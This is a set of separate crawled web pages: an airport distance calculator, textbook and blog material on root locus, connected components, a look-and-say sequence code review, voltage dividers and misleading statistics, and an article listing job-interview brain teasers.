https://www.airmilescalculator.com/distance/mrs-to-ebu/ | 1,675,228,223,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499911.86/warc/CC-MAIN-20230201045500-20230201075500-00335.warc.gz | 611,344,131 | 21,500 | # How far is St Etienne from Marseille?
The distance between Marseille (Marseille Provence Airport) and St Etienne (Saint-Étienne–Bouthéon Airport) is 152 miles / 245 kilometers / 132 nautical miles. The estimated flight time is 47 minutes.
Driving distance from Marseille (MRS) to St Etienne (EBU) is 203 miles / 327 kilometers and travel time by car is about 3 hours 35 minutes.
152
Miles
245
Kilometers
132
Nautical miles
## Distance from Marseille to St Etienne
There are several ways to calculate the distance from Marseille to St Etienne. Here are two standard methods:
Vincenty's formula (applied above)
• 152.249 miles
• 245.021 kilometers
• 132.301 nautical miles
Vincenty's formula calculates the distance between latitude/longitude points on the earth's surface using an ellipsoidal model of the planet.
Haversine formula
• 152.303 miles
• 245.109 kilometers
• 132.348 nautical miles
The haversine formula calculates the distance between latitude/longitude points assuming a spherical earth (great-circle distance – the shortest distance between two points).
## How long does it take to fly from Marseille to St Etienne?
The estimated flight time from Marseille Provence Airport to Saint-Étienne–Bouthéon Airport is 47 minutes.
## What is the time difference between Marseille and St Etienne?
There is no time difference between Marseille and St Etienne.
## Flight carbon footprint between Marseille Provence Airport (MRS) and Saint-Étienne–Bouthéon Airport (EBU)
On average, flying from Marseille to St Etienne generates about 47 kg of CO2 per passenger, and 47 kilograms equals 105 pounds (lbs). The figures are estimates and include only the CO2 generated by burning jet fuel.
## Map of flight path and driving directions from Marseille to St Etienne
Shortest flight path between Marseille Provence Airport (MRS) and Saint-Étienne–Bouthéon Airport (EBU).
## Airport information
Origin Marseille Provence Airport
City: Marseille
Country: France
IATA Code: MRS
ICAO Code: LFML
Coordinates: 43°26′8″N, 5°12′48″E
Destination Saint-Étienne–Bouthéon Airport
City: St Etienne
Country: France
IATA Code: EBU
ICAO Code: LFMH
Coordinates: 45°32′26″N, 4°17′47″E | 558 | 2,183 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.609375 | 3 | CC-MAIN-2023-06 | latest | en | 0.83443 |
https://pressbooks.library.torontomu.ca/controlsystems/chapter/10-1introduction/ | 1,718,617,346,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861701.67/warc/CC-MAIN-20240617091230-20240617121230-00238.warc.gz | 431,182,839 | 20,851 | Chapter 10
10.1 Introduction
The Root Locus method is a graphical technique used to plot the location of the poles of a closed loop system as one of the system parameters is varied. This technique is used to provide a measure of the relative stability of a system, as well as to determine appropriate parameter values, which will yield suitable root locations. In the general case, the open loop transfer function is G(s)H(s). However, typically an equivalent open loop system is analyzed, with H(s) = 1. Root Locus equations below are derived for such a case, without a loss of generality (see the notes on the equivalent unit feedback loop).
Consider a simple unity feedback system, such as in Figure 10‑1, with the variable proportional controller gain K. The closed loop system transfer function and its characteristic equation are as follows:
$G_{cl}=\frac{Y(s)}{R(s)}=\frac{KG(s)}{1+KG(s)}$
$1+KG(s)=0$
The location of closed loop poles can be traced by plotting them on the same plot for different values of proportional gain K, as shown in Figure 10‑2. The resulting plot is called the Root Locus plot. The Root Locus technique can be used for an s-domain based analysis and design of control systems.
The poles of the closed loop system are determined by solving the characteristic equation:
$1+KG(s)=0$ $\rightarrow G(s)=-\frac{1}{K}$ $\rightarrow |G(s)|\angle G(s)=-\frac{1}{K}$ Equation 10-1
Therefore, for the points in S-domain to belong to the Root Locus, it is necessary that two equations be satisfied:
$|G(s)| = \frac{1}{K}$ (magnitude criterion) $\angle G(s)=180^{\circ}\pm n360^{\circ}$ (angle criterion) Equation 10-2
So, for any gain K, we can solve the above equations to determine the closed loop system pole locations. Notice, if we allow the controller gain to vary, i.e., [latex]0loci) of the closed loop system poles for all (positive) choices of controller gain K, as shown in Figure 10‑2. | 475 | 1,931 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.03125 | 4 | CC-MAIN-2024-26 | latest | en | 0.89341 |
https://blogs.mathworks.com/steve/2007/03/13/connected-component-labeling-part-2/?s_tid=blogs_rc_2&from=kr | 1,716,903,927,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971059139.85/warc/CC-MAIN-20240528123152-20240528153152-00719.warc.gz | 108,061,808 | 26,716 | ## Steve on Image Processing with MATLABImage processing concepts, algorithms, and MATLAB
Note
Steve on Image Processing with MATLAB has been archived and will not be updated.
# Connected component labeling – Part 2
In this series I'm discussing different ways to compute the connected components of a binary image. Before I get into specific
algorithms, though, I need to touch briefly on the notion of connectivity.
For a given pixel p, what is the set of neighbors of p? In other words, what is p's neighborhood? There's no single answer that works best for all applications. One definition is that the neighbors of p are the pixels that share an edge with p. There are four such neighbors:
1
4 p 2
3
This is called a four-connected neighborhood.
Another common neighborhood definition is the set of pixels that share an edge or a corner with p. There are eight:
8 1 2
7 p 3
6 5 4
Here's a binary image that demonstrates the practical difference between these neighborhood definitions:
bw = logical([ ...
0 0 0 0 0 0 0
0 1 1 0 0 0 0
0 1 1 0 0 0 0
0 0 0 1 1 1 0
0 0 0 1 1 1 0
0 0 0 0 0 0 0 ]);
showPixelValues(bw)
If we use a four-connected neighborhood definition, then the image above has two connected components: an upper-left 2-by-2
component, and a lower-right 2-by-3 component. With an eight-connected neighborhood definition, there's just one connected
component.
Many Image Processing Toolbox functions support other kinds of neighborhood definitions as well, via an optional input argument
called CONN (for connectivity). For two-dimensional processing, CONN is a 3-by-3 matrix of 0s and 1s. The matrix has to be symmetric about its central element. The 1s define the neighbors.
For example, here are the CONN matrices for four-connected and eight-connected neighborhoods:
conn4 = [0 1 0; 1 1 1; 0 1 0]
conn4 =
0 1 0
1 1 1
0 1 0
conn8 = [1 1 1; 1 1 1; 1 1 1]
conn8 =
1 1 1
1 1 1
1 1 1
In my next post in this series, I'll talk about representing the collection of neighbor relationships among foreground pixels
as a graph.
Published with MATLAB® 7.4
|
### 댓글
댓글을 남기려면 링크 를 클릭하여 MathWorks 계정에 로그인하거나 계정을 새로 만드십시오. | 626 | 2,200 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.328125 | 3 | CC-MAIN-2024-22 | latest | en | 0.92782 |
https://codereview.stackexchange.com/questions/58733/finding-the-next-number-in-sequence | 1,726,294,900,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651559.58/warc/CC-MAIN-20240914061427-20240914091427-00084.warc.gz | 154,446,316 | 43,989 | # Finding the next number in sequence
I have a question to find the N th number in the sequence.
1
11
21
1211
111221
312211
13112221
1113213211
The next number is obtained by saying out loud the number of digits in the previous number.
eg. inital number =1
next number = One 1 = 11
next number = Two 1 = 21
next number = One 2 and One 1 = 1211
Here is my code for getting next number:
private static void nextSequence(int N){
int i=1;
StringBuffer current = new StringBuffer(); // to populate current number
StringBuffer last = new StringBuffer(); // to populate next number
System.out.println("1");
// populate next number in sequence
current.append(1);
current.append(1);
while(i<=N){
int begin=1; // pointer to next index
int start=0; // pointer to start index
int count=1; // count the number of repeats
int j=1; // counts the length of characters counted
while(j<current.length()){
if(current.charAt(begin)==current.charAt(start)){
count++; // count the repeats between start and begin
}else{
last.append(count);
last.append(current.charAt(start));
start=begin;
count=1;
}
begin++;
j++;
}
last.append(count);
last.append(current.charAt(start));
System.out.println(last);
current=last;
last = new StringBuffer(); // reset the next seq numbe
i++;
}
}
Is this the correct approach? I am able to generate the said sequence, but I am not sure if this is the most efficient. Could you please help me correct if my I made any mistakes?
• Any repeating patterns that you could make use of? Because one thing that strikes me as potentially dangerous is "Eleven 1". If something prevents that from happening, do you eventually get a pattern you could use to optimize? Commented Aug 1, 2014 at 10:40
• I have a feeling that there's a mathematical solution using the fact that these are base ten numbers, but I can't quite figure out what it is. Commented Aug 1, 2014 at 11:12
• I don't see any other better algorithmic approach to solve this problem efficiently. IMO, it just a simple recursive solution.
– Kans
Commented Apr 20, 2017 at 20:53
This is one of those times when working backwards helps... but, before we get to that...
## Nit Picks
• Unless you have a really good reason, do not use StringBuffer. Use StringBuilder instead. There are two times to use StringBuffer, when you are modifying the instance from multiple threads, and when you are using a Matcher.appendReplacement() or Matcher.appendTail(). You are doing Neither, so stick with StringBuilder. It's faster.
• You should give values some breathing space... use white-space to make things readable. This is not JavaScript where whitespace impacts download time! Lines like:
while(i<=N){
should be:
while (i <= N) {
• Having both the variables begin and start is confusing.
• It irks me that you hard-code the first result.... why have:
// populate next number in sequence
current.append(1);
current.append(1);
## A Better way.
The actual processing for this is simpler if we do some clever backward-forward logic. I spent some time 'doing it differently'... The trick is that you want to extract a function that does it for a single iteration.... so, let's start with the outer function (so it makes sense):
public static final void loopCompute(String input, int count) {
System.out.println(input);
for (int i = 0; i < count; i++) {
input = compute(input);
System.out.println(input);
}
}
I have called it loopCompute, and it takes an input String, and a number of times to iterate. It then loops the number of times, and computes the result, and prints the result. It then prints the new result.
So, what about the compute method?
Well, the trick is to count the sequences of digits, but also, the better trick is to start at the end and work backwards, because we can then use those values to build up the output String efficiently working forwards.
private static final String compute(String source) {
// allocate two mated arrays, one of the digits, the other of the counts.
// the worst case is that there will be as many counts as input digits
// so we budget for the worst case.
char[] digits = new char[source.length()];
int[] counts = new int[source.length()];
int pos = -1;
// work backwards through the input, storing the results forwards in the arrays.
for (int i = source.length() - 1; i >= 0; i--) {
if (pos < 0 || source.charAt(i) != digits[pos]) {
pos++;
digits[pos] = source.charAt(i);
}
counts[pos]++;
}
// now work backwards through the counts, and store them forwards in the StringBuilder.
StringBuilder sb = new StringBuilder(pos * 2);
while(pos >= 0) {
sb.append(counts[pos]).append(digits[pos]);
pos--;
}
return sb.toString();
}
I find the code to be a little hard to read because of the many variables. You only really need two counters, start and end, so we can trim out the rest--as a rule, fewer variables ⇒ less code to update them ⇒ fewer bugs. I tried slimming it down, and ended up with this:
static String nextLine(String prev) {
final StringBuilder sb = new StringBuilder();
int start = 0;
while ( start < prev.length() ) {
int end = start + 1;
while ( end < prev.length() && prev.charAt(end) == prev.charAt(start) ) {
end++;
}
sb.append(end - start).append(prev.charAt(start));
start = end;
}
return sb.toString();
}
Some quick timing taught me that rolfl's snippet was about 5% faster overall (Oracle Java build 1.8.0-b132, 64-bit server), but so far both your/mine as rolfl's approach suffer from a major problem: we blow through all our heap space by about the 70th sequence, so efficiency is a matter of perspective. | 1,323 | 5,590 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.40625 | 3 | CC-MAIN-2024-38 | latest | en | 0.796353 |
http://forum.allaboutcircuits.com/threads/simple-voltage-drop-question.2653/ | 1,475,168,167,000,000,000 | text/html | crawl-data/CC-MAIN-2016-40/segments/1474738661905.96/warc/CC-MAIN-20160924173741-00175-ip-10-143-35-109.ec2.internal.warc.gz | 91,951,721 | 13,938 | # Simple Voltage Drop Question....
Discussion in 'The Projects Forum' started by davekeck, May 19, 2006.
1. ### davekeck Thread Starter New Member
May 19, 2006
0
0
Hello,
I'm working on a small RF project that requires 2.4 volts. For testing I'm trying to rig the device up to a power adapter that I cannibalized from some old computer equipment. The power adapter outputs 5 volts DC, so based on some voltage divider circuits I found online I was able to drop the voltage to 2.4 volts using two resistors.
The problem is, the device simply doesn't turn on when connected to the power adapter, but does when connected to batteries. I've verified the power adapter is putting out 2.4 volts on the dot, so I'm at a loss to see what the matter could be; I'm assuming it must be the current.
Assuming it is the current, would the problem be the current is too high, or too low? I'm guessing it's too low since the circuit hasn't been fried when attempting to use the power adapter with it... so if my assumption is correct and the current is too low, I guess my question is:
How can you reduce the voltage of a circuit, but meanwhile retain the original current?
Hope this question isn't too obvious, heh
Thanks!
Dave
2. ### Battousai Senior Member
Nov 14, 2003
141
44
A simple voltage divider won't regulate the voltage to 2.4V: That is, when you draw 0 current from the divider tap it will be 2.4V, but as soon as you begin to draw current, the voltage will drop because you pull the current from the battery through R1, dropping additional voltage.
You could try making the values of R1 and R2 very small so that the voltage drop suffered across R1 is negligible, but then you would be drawing A TON of current from the 5V battery, you would probably need flameproof resistors for any significant load.
Here are some really crappy ways to make a 2.4V reference:
-Take your 5V battery and simple tie two-three diodes (0.7V) in series with a resistor to ground (5V to anode1, cathode1 to anode2, cathode2 to anode3, cathode3 to a resistor to ground) . Connect your load to anode3.
-Set your voltage divider to 3.1V, and then use an NPN 2N3904 transistor and connect the collector to the 5V supply, the base to 5V supply and tie the emitter to a resistor to ground. Your 2.4V will appear at the emitter of the NPN.
3. ### richbrune Senior Member
Oct 28, 2005
106
0
Dave:
can you send a drawing of the the reference with the 2N3904? | 634 | 2,445 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.234375 | 3 | CC-MAIN-2016-40 | longest | en | 0.956375 |
https://janav.wordpress.com/2014/01/03/how-to-lie-with-statistics/ | 1,500,892,867,000,000,000 | text/html | crawl-data/CC-MAIN-2017-30/segments/1500549424846.81/warc/CC-MAIN-20170724102308-20170724122308-00008.warc.gz | 653,681,470 | 36,092 | How to lie with statistics
There are three kinds of lies: lies, damned lies, and, statistics – Disraeli. I recently finished reading the book – How to lie with statistics by Darrel Huff. This book was first published in 1954. Even today it is very relevant and it explains how an uncritical reader can be fooled by media, politicians, and, other entities by using statistics. In this post I will go through some of them.
1. Biased Sample
Literary Digest was a popular magazine in the US. Before the 1936 presidential elections, the magazine surveyed 10 million telephone and magazine subscribers to find out who they would vote for. The survey results came out with Landon getting 370 votes and Roosevelt getting 161 votes. But the actual results were completely different. Landon got only 8 votes and Roosevelt 523 votes. What went wrong with the survey? In those days only wealthy people had telephones and they favored Landon as he was a republican. The sample chosen was not representative of the entire US population. It was biased.
For the sample to have any predictive value it should be (1) representative of the entire population (2) members from the population should be randomly selected.
2. Beware of averages
Bush administration came out with a plan for tax cuts. They claimed that if their plans were implemented then American families would get an average tax reduction of \$1,083. But more than 50% of the American families would not even get \$100 in tax cuts. Did the Bush administration lie? No. They used mean for arriving at \$1,083 and it is distorted by outliers and hence this figure was not applicable to majority of the families. The median figure is less than \$100. An average should be qualified (mean, median, or mode). If not then the reported figure might not have much value.
Sometimes a qualified average is also dangerous. A six foot person drowned in a swimming pool which had a mean depth of 4 feet. How is it possible? The range of the depth was between 3 feet and 10 feet.
The image given below clearly explains 3 types of averages.
3. Small samples can have extreme outcomes
The probability of a head in a fair coin toss is 1/2. I flipped 5 coins using random.org and I got 5 heads. How is this possible? The actual results converge to the probability of 1/2 when there are very large number of trails.
One of the research concluded that most successful schools, on average, are small. Based of this data Gates Foundation made a substantial investment in the creation of small schools. Are small schools really better? No. If the statisticians who reported the Gates foundation had asked about the characteristics of the worst schools, they would have found that bad schools also tend to be smaller than average. The truth is that small schools are not better on average; they are simply more variable. Results from small samples can have extreme outcomes and hence we should not rely on them.
4. Graphs and Pictures
Given below is the earnings growth of a company from 1990 to 1999. The graph looks terrific and we see that the earnings are exploding. But there is one issue. The earnings numbers are missing in the y axis. I purposefully removed it. I drew the graph with 1990 earnings at \$1 and 1999 earnings at \$1.1. In 10 years the earnings grew by just 0.96%. When you look at any graph make sure that numbers are present in both the axis.
For the same company consider the earnings growth from 2000 to 2005.
Year Earnings 2000 20 2001 20.4 2002 20.8 2003 21.2 2004 21.6 2005 22
In 6 years the earnings grew from \$20 to \$22. Nothing great and the annualized return comes to 1.60% The graph looks normal.
For the same data I redrew the graph and it appears exploding. How can this be possible? The graph starts at \$20 instead of \$0 and the y increments are in 0.2 and hence it gives an illusion of tremendous growth. When you look at any graph make sure you notice the starting value and the increments.
Consider that an average (median) weekly wage of carpenters in the United States is \$60 per week and in Rotundia it is \$30 per week. The bar chart for this data clearly represents this fact. The height of the bar for United States is twice as tall as Rotundia.
If I want to make the story appear dramatic then I can represent this as an image. The image gives us an impression that United States is much more prosperous than Rotundia. Why? The height of United States went up by 2 which is correct. But the width of United States also went up by 2. This gives an illusion that United States is 8 times more prosperous than Rotundia. Why 8? Let us take the base volume is x3. if the base doubles then we get (2x)3 which is 8x3. When you look at an image make sure the width is not altered.
5. The SemiAttached Figure
If you cannot prove what you want to prove, demonstrate something else and pretend that they are the same thing. For example you invented a medicine which can cure colds. But you have no way to prove it. What do you do? Publish a report telling that your medicine killed 32,868 germs in a test tube. Get the report certified by an known authority. You can run an advertisement telling that the medicine killed germs in a test tube and hence it will also cure cold. Remember to question the relationship between what is claimed and what is being marketed.
6. Correlation does not explain causality
Correlation between two variables need not explain causality.
Consider the following headline – Bottled Water Linked To Healthier Babies. Is this really true? The question we need to ask is who buys bottled water? Affluent parents are more likely both to drink bottled water and to have healthy children.
In New Hebrides, people had a conviction that lice in bodies produce good health. Observation over the centuries had taught them that people in good health usually had lice and sick people very often did not. What is the actual reason? The person who was sick had fever and hence his body became too hot. Lice does not live in hot bodies and hence it is not found in sick people.
Closing Thoughts
Statistics is an useful tool. Sites like Amazon, Netflix, Facebook, and many others use statistics to predict items that we like. But like any useful tool it can be misused. It is our duty to know what is true and what is not. Next time when you consume any statistical information make sure that you ask the following questions (1) Who says it and what are his incentives (2) How does he know it (3) Does it make sense.
4 thoughts on “How to lie with statistics”
Hi,
I recently stumbled upon your blog and i liked it from the word go. Its very enriching to learn and know which otherwise i would have not known
I would appreciate if you suggest me with a decision to read a book between “How to think like sherlock holmes” and ” A few lessons from sherlock holmes”.
Do these books differ on talks and topics covered or are just some extended part and intertwined. I love reading as many books as possible covering wide areas and topics but reading the same topic in different books is sort of boring. Hence, it would be nice if you can help me with the same as you have read both those books.
Thank you
• Jana Vembunarayanan says:
If you have already read the book ‘Thinking Fast and Slow’ then you will find similar contents in the book “How to think like sherlock holmes” . The only difference is Sherlock Holmes stories will be used to explain those concepts.
“A few lessons from sherlock holmes” is a very short book and it highlights all the important passages from Sherlock Holmes books. Reading this book I got a feeling that I am learning from Charlie Munger and Daniel Kahneman.
I would suggest read the book “A few lessons from sherlock holmes”
Regards,
Jana | 1,735 | 7,781 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.84375 | 4 | CC-MAIN-2017-30 | longest | en | 0.977084 |
https://jitely.info/?post=8707 | 1,632,288,428,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780057329.74/warc/CC-MAIN-20210922041825-20210922071825-00004.warc.gz | 375,657,510 | 13,307 | # How can I solve this logical question
## Brain teasers in the application: 60 examples & solutions
Everyone knows them, some HR managers love them - and applicants fear or hate them: Brain teaser. Also as Brain teasers, guessing questions or Trick tasks known. Large companies such as Google - previously notorious for its numerous brain teasers in job interviews - are increasingly dispensing with the puzzles. Nevertheless, brain teasers still find their place in some recruitment tests in this country. This can be a nuisance for applicants. But it is not a cause for concern. Because with the right strategy you are Easy to solve brain teasers. Here we show you how ...
➠ Content: This is what awaits you
➠ Content: This is what awaits you
### Don't be afraid of brain teasers in the job interview
So-called Brain teaser (English for Brain tickler) meet applicants in Job interviews as well as in Assessment center or recruitment test. This usually includes mathematical tasks, logic puzzles, guessing questions, trick tasks or trick questions (less often case studies and case studies).
With the so-called Trick tasks or trick questions you have to pay close attention. Here is the Solution particularly simple, but well hidden. The task itself is only there to fool you. A classic for this is: "How much earth is there in a hole measuring 2 x 4 x 1 meters?" The answer: none. Because in one hole there is nothing.
Many rightly ask: Why do companies even use such questions? Short answer: Because they are different from it Findings about
• Problem solving skills
• creativity
• Comprehension
• Thought patterns
• and logical thinking
the applicants hope for. Whether brain teasers are the best solution for this is controversial. Nonetheless, applicants should focus on such Prepare logic puzzles and intelligence tests, because they just happen.
However, many brain teasers have a special feature: The a there is no correct answer. Sure, with some puzzle tasks there is a clearly defined result. For many other tasks, however, different results are possible. Here the journey is the goal, i.e. the one Solution and approach of the candidate (see box "Fermi questions").
So whether you are in an interview or at one Recruitment test be asked for it: Always try the brain teasers according to the following five steps to solve:
1. Analyze calmly. At the beginning, take your time and carefully analyze the question and task. Don't let yourself be put under pressure either. If a solution is too obvious, it is usually wrong. So don't let yourself be led off the beaten track.
2. Ask questions. Questions are also not a problem during a conversation. Feel free to ask if something is unclear to you.
3. Summarize the situation. When you have grasped the situation, briefly summarize it in your own words. Then start the solution.
4. Verbalize the solution. Speak your thoughts out loud and give the other person the opportunity to understand your approach.
5. Justify the result. Finally, present your result. Crucial: explain how and why you came to this conclusion. Clarify your method and the solution again.
### Do you know the Fermi questions?
The typical brain teasers in job interviews include so-called Fermi questions. These are - roughly speaking - impossible guesswork. Typical Fermi questions and brain teasers are, for example:
• How heavy is Manhattan?
• How many gardens are there in Germany?
• How many sheets of paper are copied in a day in Germany?
You already notice: One right one There can be no answer to this - simply because nobody knows it. To a Correct or Not correct or a sample solution is possible with this one Fermi problem neither. Rather, it is about a logical derivation and quantitative estimate for a problem for which practically no data is available.
In order to be able to solve such questions in a job interview, you don't need much more than a certain general knowledge, common sense - and that Courage to think out loud.
The trick is to break the task down into smaller sub-tasks and thus find a plausible solution. What those present want to see is how systematically and analytically you approach a seemingly unsolvable problem. After all, you can use this ability in your job.
There is a nice example of this on Wikipedia. The question:
How many piano tuners are there in Chicago?
A possible solution would be like this ...
First the assumptions:
• About three million people live in Chicago.
• About two people in one household.
• There could be a piano in every twentieth household that is regularly tuned.
• Pianos are tuned about once a year.
• It takes about two hours to tune a piano, including travel time.
• A piano tuner works an 8-hour day, a 5-day week, and works 40 weeks a year.
Then the bill:
(3,000,000 inhabitants) / ((2 people per household) × (1 piano / 20 households) × (1 voices per piano and year)) = A piano has to be tuned 75,000 times per year in Chicago.
A piano tuner can do the following work:
(40 weeks per year) × (5 days per week) × (8 hours per day) / (2 hours per piano) = a piano tuner can tune 800 pianos per year.
The solution:
According to this, there should be around 100 piano tuners in Chicago.
### More than 60 brain teasers and brain teasers PLUS solutions
The following Brain teaser are ideally suited to challenge your logical-analytical thinking skills and your creativity as well as to train your lateral thinker potential.
Some tests come (slightly modified) from the book of the same name "Brainteaser in the job interview". Quite a few of them were Candidates already asked in job interviews.
You can get to the solutions by clicking on the word and the link “Brainteaser solution” under the respective question.
But please try it yourself first, to warm up, with these brain teasers ...
### Picture puzzles and logic tasks
(The respective solution follows immediately with the next picture. Simply click through with the orange arrows)
### 40 brain teaser examples from the job interview
1. You have nine balls of the same size and appearance, as well as a pharmacist scale. One bullet is a little heavier than the other. How do you weigh them out? But you can only weigh twice!
Brain teaser solution
2. You are in a room with three light switches that lead to three light bulbs in the next room. However, these cannot be seen from their room. Find out which switch goes with which bulb. You may only enter the adjoining room once!
Brain teaser solution
3. You want to go to a party. There are two doors in front of you, each with a doorman. Only one door leads to the party. And one doorman always lies, the other always tells the truth. You can only ask one question. What do you ask?
Brain teaser solution
4. Three friends stay in a hotel and share a room. That costs 30 euros per night. So everyone pays 10 euros. Shortly afterwards, the hotelier remembers that the room costs only 25 euros and sends the bellboy to the guests with 5 euros. He thinks: 5 is not easy to divide by 3. He keeps 2 euros and gives one euro back to each of the friends. So the three of them paid 9 euros each, making a total of 27 euros. The page secretly pocketed 2 euros: 27 + 2 = 29. Where did the missing euro go?
Brain teaser solution
5. There are 200 bottles in Sir Blake's wine cellar, 99 percent of which are red wine. The rest is white wine. How many bottles does Sir Blake have to drink to reduce the proportion of red wine to 98 percent?
Brain teaser solution
6. What is the angle of the hour and minute hands on a clock at 3:15 p.m.?
Brain teaser solution
7. What day is tomorrow if the day before yesterday was the day after Monday?
Brain teaser solution
8. Lisa overslept and has to hurry because she has an important interview at 10 a.m. The light bulb in her bedroom is broken, it is pitch dark. Since Lisa is not very neat, her socks are individually in the laundry basket. She has 68 black and 32 white socks. How many socks does she have to pull out to have a pair of the same color?
Brain teaser solution
9. One and a half chickens lay one and a half eggs in one and a half days. How many eggs does a chicken lay in a day?
Brain teaser solution
10. The only child Jochen stands in front of a painting and says: "The father of the person pictured is my father's son." Who can be seen in the picture?
Brain teaser solution
11. You are sitting in the interview and there is a square glass of water in front of you. The HR manager asks you: “Is the glass half full or half empty?” You say: “Half full!” The HR manager replies: “This is not a personality test! Measure exactly! ”But you have neither a ruler, pens or other aids. What do you do?
Brain teaser solution
12. You have two boxes. One contains 50 red and the other 50 green balls. You can pull a ball out of one of the boxes with your eyes closed. If it's a red one, you win; if you get a green one, lost. Before that, however, you can distribute the balls anywhere on the boxes to increase your chances. What do you do?
Brain teaser solution
13. What's next: Z - A - Y - B - X - C -?
Brain teaser solution
14. Daniel and Isabell invite three couples to dinner. Some people shake hands in greeting. Later, out of curiosity, Daniel asks who shook hands how many times. Although no one has shaken hands with their own partner or shook hands with the same person multiple times, everyone gives a different number. How many guests did Isabell shake hands with?
Brain teaser solution
15. A woman has two hourglasses. One runs for five minutes, the other for seven. But she wants to stop 13 minutes. What must she do?
Brain teaser solution
16. The digits from 1 to 9 have been put in a completely new order, it is:
8 3 1 5 9 6 7 4 2. What is the organizational principle behind this?
Brain teaser solution
17. What is the next letter: J F M A M?
Brain teaser solution
18. You have three canisters: a full one with eight liters and two empty ones with a capacity of 5 liters or 3 liters each. You should measure exactly 4 liters. How do you do that
Brain teaser solution
19. What is more powerful than God, even more evil than the devil; the poor have it, the rich need it, and whoever eats it dies from it?
Brain teaser solution
20. You drive your car on a lonely country road on a freezing cold, dangerously stormy night. As you pass a bus stop, you see three people there: a) an old lady who is apparently near death and has to go to the hospital; b) an old friend who once saved your life; c) Your dream partner that you've been looking for all your life. The dilemma: you can only take one person with you. Who do you offer the space in your car to?
Brain teaser solution
21. You are in a rowboat on a small pond and have dropped anchor. When you catch up with him - does the water level rise or fall or does it even stay the same?
Brain teaser solution
22. You are in the interview. The HR manager offers you a game: starting with the number 10, you both add a number from 1 to 10 alternately. If you add up to 100 at the end, you win the game. It starts with 2 - so 10 + 2 = 12. It's your turn. But can you even win the game?
Brain teaser solution
23. What's next: 1 - 4 - 10 - 22 - 46 -?
Brain teaser solution
24. Two friends want to cross the river at a particularly deep and wide point. There is a boat on the bank, but only one person can carry it. Both cross the river anyway and move on happily. How do you do that?
Brain teaser solution
25. It is the day you start work. But there are two company entrances. One leads back outside, the other into the company. There is a guard in front of every gate - one always tells the truth, the other always lies. Both know the right door. You can only ask one guard and ask them only once. What's the question?
Brain teaser solution
26. A hotel guest comes into the restaurant in the morning and orders a breakfast egg. It should be cooked for exactly nine minutes. Unfortunately, the chef only has two hourglasses with which he can measure the time. One takes four minutes for the sand to run through, the other seven minutes. What does the cook do to still serve the guest a 9-minute egg?
Brain teaser solution
27. The mother is 21 years older than her daughter. And in six years she will be five times her daughter's age. But where is the father right now?
Brain teaser solution
28. The car pool consists of four people. One day the four of them have an accident. Three are seriously injured and require immediate surgery. Fortunately, the only uninjured one is a surgeon. However, he only has two pairs of latex gloves in his emergency kit and no disinfectant. How can he still operate on all three under sterile conditions?
Brain teaser solution
29. A well-known horse breeder leaves 17 horses to his three sons Jim, Jack and John. However, with one condition: Jim should get half of the inheritance, Jack a third and John a ninth. You are not allowed to kill an animal or dispute over the inheritance. The brothers are desperate until a cowboy rides up and helps them. How?
Brain teaser solution
30. Bill and Bob are dead on the floor of the room. A gusty wind is blowing through the open window. There are broken glass lying next to the corpses on the wet carpet. What happened?
Brain teaser solution
31. You have a cucumber that weighs 1200 grams. Their water content is 99 percent. How much does the cucumber weigh when the water content drops to 98 percent?
Brain teaser solution
